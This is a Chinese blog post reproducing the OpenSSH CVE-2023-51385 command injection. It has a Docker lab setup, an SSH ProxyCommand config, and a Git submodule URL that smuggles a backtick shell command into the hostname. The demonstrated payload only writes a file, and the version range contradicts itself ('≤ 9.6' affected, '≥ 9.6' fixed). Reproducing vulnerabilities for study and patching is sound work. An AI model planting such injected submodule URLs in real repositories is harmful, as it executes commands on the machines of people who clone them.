【漏洞复现】CVE-2023-51385:OpenSSH命令注入

【漏洞复现】CVE-2023-51385:OpenSSH命令注入

原创 fatmo 赛博安全狗 2024-03-28 14:52

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。

简介

OpenSSH 是 SSH 协议的免费开源实现。
S
SH协议族可以用来进行远程控制, 或在计算机之间传送文件。
而实现此功能的传统方式,如telnet、 rcp ftp、 rlogin、rsh都是极为不安全的,并且会使用明文传送密码。
OpenSSH提供了服务端后台程序和客户端工具,用来加密远程控制和文件传输过程中的数据,并由此来代替原来的类似服务。

漏洞概述

漏洞编号:CVE-2023-51385

在 OpenSSH 9.6 之前的版本中,如果用户名或主机名含有 shell 元字符,并且含有特殊元字符的名称通过一个扩展标记(%s或%h)被引用,就会导致命令注入。例如,一个不可信的 Git 仓库可以有一个子模块,其用户名或主机名中包含 shell 元字符。

受影响的版本

OpenSSH ≤ 9.6

环境搭建

  • git 下来源码:
git clone https://github.com/openssh/openssh-portable.git
  • 切换到V_9_5_P1的版本:
git checkout tags/V_9_5_P1 -b v9.5-exploit
  • 写一个Dockerfile来编译并运行sshd:
# 使用Ubuntu 20.04作为基础镜像            
FROM ubuntu:20.04            



# 安装必要的依赖            
RUN apt-get update && apt-get install -y \            
    build-essential zlib1g-dev libssl-dev libpam0g-dev libselinux1-dev autoconf \            
    git            



# 设置环境变量,避免在安装软件包过程中出现交互式提示            
ENV DEBIAN_FRONTEND=noninteractive            



# 创建特权分离的用户 sshd            
RUN groupadd sshd && \            
    useradd -r -g sshd -d /var/empty -s /sbin/nologin sshd && \            
    mkdir /var/empty && \            
    chmod 711 /var/empty && \            
    chown root:sshd /var/empty            

# 创建 SSH 用户目录            
RUN mkdir /var/run/sshd            



# 添加新用户并设置密码            
RUN useradd -m fatmo && echo "fatmo:666666" | chpasswd            
# RUN sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /etc/ssh/sshd_config            



# 清理apt缓存和临时文件            
RUN apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*            



# 设置工作目录            
WORKDIR /usr/src/openssh-exploit            



# 挂载本地的OpenSSH源码目录            
VOLUME ["/usr/src/openssh-portable"]            



# 暴露SSH端口            
EXPOSE 22            



# 容器启动时的命令            
CMD ["sh", "-c", "autoreconf -fvi && ./configure --prefix=/usr/local --sysconfdir=/usr/local/etc --with-pam --with-md5-passwords && make && make install && /usr/local/sbin/sshd -D -e -f /usr/local/etc/sshd_config"]            



# 重置环境变量            
ENV DEBIAN_FRONTEND=dialog
  • 其中VOLUME [“/root/openssh-portable”]
    ,用来挂载git clone在本地的OpenSSH    

  • 然后在Dockerfile同目录下建立起镜像:

docker build -t openssh_exploit .
  • 然后可以拉起容器了,注意不要映射端口,把服务暴露出去,把/root/openssh-portable换成本地OpenSSH源码目录:
docker run -v /root/openssh-exploit:/usr/src/openssh-exploit -d --name openssh_exploit openssh_exploit
  • 跑起来后,用这条命令确定容器的ip,就可以连接了:
docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' openssh_exploit

漏洞复现

  • 打开ssh配置:~/.ssh/config,加入以下内容:
host *.example.com            
  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
  • 然后git clone poc(原poc是针对OSX,我复现的环境是Ubuntu,因此我fort了一份修改为Ubuntu版本的Poc):
git clone https://github.com/fatmo666/poc-proxycommand-vulnerable-ubuntu.git --recurse-submodules
[submodule "cves"]            
           path = cves            
           url = ssh://`echo fatmo > exploit.txt`foo.example.com/bar
  • 执行后会在clone的目录下生成文件exploit.txt,内容为fatmo:    

修复方式

升级到OpenSSH ≥ 9.6的版本。